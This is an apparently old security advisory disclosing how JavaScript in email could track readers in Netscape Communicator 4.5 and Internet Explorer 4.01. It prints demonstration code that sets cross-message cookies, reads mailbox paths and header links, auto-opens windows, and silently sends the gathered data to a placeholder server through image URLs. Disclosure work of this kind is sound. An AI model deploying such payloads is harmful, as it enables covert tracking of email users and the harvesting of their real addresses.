|
|
|
|
| |
| Netscape Communicator 4.5 (for the Windows and Linux platforms) and Internet Explorer 4.01 contain weaknesses in the way a user's privacy is protected; these weaknesses allow the gathering of information on the user's environment through mail messages, even if they are received via mailing lists, anonymizing systems or proxies. |
| |
Credit:
The vulnerability and the demonstration code was written by: Claudio Telmon.
|
| |
The vulnerability consists of the following issues:
1. Setting cookies with mail messages
Cookies can be easily set by a piece of Javascript code in a mail message. This simple message body sets a cookie on the reader's system:
function SetCookie (name, value, expdate) {
document.cookie = "Kerby" + name.substring(2,6) + "=" + escape (value) +
"; expires=" + expdate.toGMTString();
}
The cookie is set with a void domain. Path is also void unless explicitly set. That is, there is no information in the cookie linking it to its source message, or to the sender's address or domain. These cookies can be read by any Javascript code in subsequent mail messages, as shown by this code:
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
One preference that a user can set in Communicator is "Only accept cookies originating from the same server as the page being viewed"; setting this property does not protect against cookies originating from mail messages, since all these cookies share the same 'server' (void).
Usually, when received from a Web server, a cookie owns some properties that limit its availability to other servers. This is due to the requirement to limit the ability of sites to map user's navigation history and preferences. However, this does not hold when cookies are received via mail. That is, it is fairly easy to map user's "mail history", such as mailing list subscriptions, previous advertisement messages, etc. These cookies can't be sent to Web servers, but their name and value can be used to build a URL, so in fact their information can be disclosed to remote servers.
Exploits:
Suppose you want to "cross-reference" the users of two mailing lists: all you need to do is to send a message on the first mailing list which sets a cookie with value "1". The cookie will be available for any message of the second mailing list that can do something like:
* Show a different message if the cookie is present;
* Connect to your web site with some HTML code like <IMG SRC="http://server.example.net/path_derived_from_cookie_data"> embedded in the message. This would let you send targeted information and possibly map user's IP address or domain.
2. Gathering sensitive information
The second step was gathering some sensitive information from the user's browser. This information can be put in the cookie or sent to a web site. An available value is location.href. This value is void when set from a mail message. However, if the message or an attachment is opened in a new browser window, the value is set to the path of the message, that is someting like:
mailbox:/path/data
Where path is the "path" of the mailbox and "data" contains some information bound to the message and the mailbox. The path also gives usually some useful information: on Windows systems it is something like: C:\windows\temp\, on Linux (and possibly other Unix-like) it's something like: /home/<username>/nsmail/<folder>.
This gives you both the username and the system type.
This is probably a bug, since path information should not be available to javascript code. It's also the worst problem found in this research, since it can disclose the actual e-mail address of the user, passing through anonymizers, forwarders and firewalls. This is achieved if the username can be bound to a domain or IP address, i.e. if the page connects to a hostile web server. The use of a proxy can avoid this problem in some situations. Be it used with targeted messages or SPAM, it's a powerful tool for real e-mail addresses collection. If the address is set in a cookie, it will be available for every subsequent message, no matter who the sender is, without requiring the use of the same trick of opening a different window. If encoded, the e-mail address can be difficult to recognize even if the cookie file is opened for inspection.
3. Opening the window with the attachment
The previous step requires the message body to be opened in a new window. Since a user wouldn't in many cases open a new window to see a message or an attachment (i.e. in a SPAM message), the message can do it by itself:
<script language="JavaScript">
<!--
function clickit() {
document.kerby1.submit();
}
//-->
</script>
<body onLoad="click()">
<A HREF="cid:kerby1.html">ciao</A>
<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
</body>
The trick is the "cid:" that refers to a part of the multipart mime message himself.
Let's take a look a little close to the information we're been able to gather in such a way:
mailbox:PATHTOHOME/gio/nsmail/PATHTOFOLDER?\
id=MAILID%40DOMAIN&number=OFFSET&part=1.2
Where:
PATHTOHOME is the real path of the user's home, it could be /home or /opt/home etc. PATHTOFOLDER is the real path of the mailbox. For example, the full path can be personal.sbd/contacts.sbd/ACMEWORKS. OFFSET is the offset of the message in the mailbox, in bytes.
This is probably more an undocumented feature than a bug. We found cid just in some technical articles. We include it here mainly because it's interesting and it's required for a useful exploit of the previous bug.
This feature can be use for a denial of service based on recursive opening of windows. This isn't probably an issue, since other methods can be easily used.
4. Sending sensitive information without cookies or windows
Cookies can be useful to pass information between mail messages, but can be refused or detected by the user. If the need is just to send the sensitive information to a web site, maybe a less detectable way can be useful. Moreover, opening a window can be suspect, so it's probably better to avoid it at all. This code does exactly this:
<script language="JavaScript">
<!--
function swapImage() {
document.kerbimg.src="http://www.example.com/"+document.kerby1.action;
}
//-->
</script>
<body onLoad="swapImage()">
ciao<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
<IMG NAME="kerbimg" SRC="http://www.example.com/">
</body>
This sends the information embedded in the URL of an embedded image and doesn't open any window, since the information is gathered from the form (which doesn't give any warning since the action is not performed).
This code exposes two weaknesses. The first one is a consequence of the already discussed ones - sending sensitive information without the user being able to avoid it. The second one is the most important one: while form actions under certain conditions can't be performed without user's approval or explicit action, the information is available in the page for different handling and, in this case, for different ways of submission.
This piece of code can send sensitive information without user's notice and without the user being able to avoid it. It can be used to send sensitive information to a hostile server while this information is collected by other means.
5. Gathering sensitive information from links inside e-mails
When displayed, an e-mail message shows a list of links corresponding to a subset of the headers of the message. Sender, Message-ID, From, To and References fields are shown as links. A Javascript hostile code is able to grab these links' values, pack and deliver them to an attacker. Some of these links are not always accessible (their value is foo when Communicator adds the addbook:), but in some cases they can be accessed. One is this URL:
wysiwyg://0/mailbox:/PATH/MAILBOX?number=OFFSET
Where the mailbox is the current mailbox.
Note that the mailbox can be easily gathered using one of the previous bugs (or the default Inbox can be tried). The offset=2 points to the first message inserted in the mailbox. Trying to access other messages with tentative offsets always crashed Communicator, but if the correct offset of a message (or its id) can be found, the URL works.
This vulnerability lets potentially everyone browse your mailboxes and get as much information as they need about people you are exchanging message with. Just as important, this is an easy way to discover real mail addresses of people behind a Firewall.
addrnumb=document.links.length
list=""
for ( i = 0; i <addrnumb; i++) {
list+=document.links[i]
}
|
|
|
|
|
|
|
|
|
|
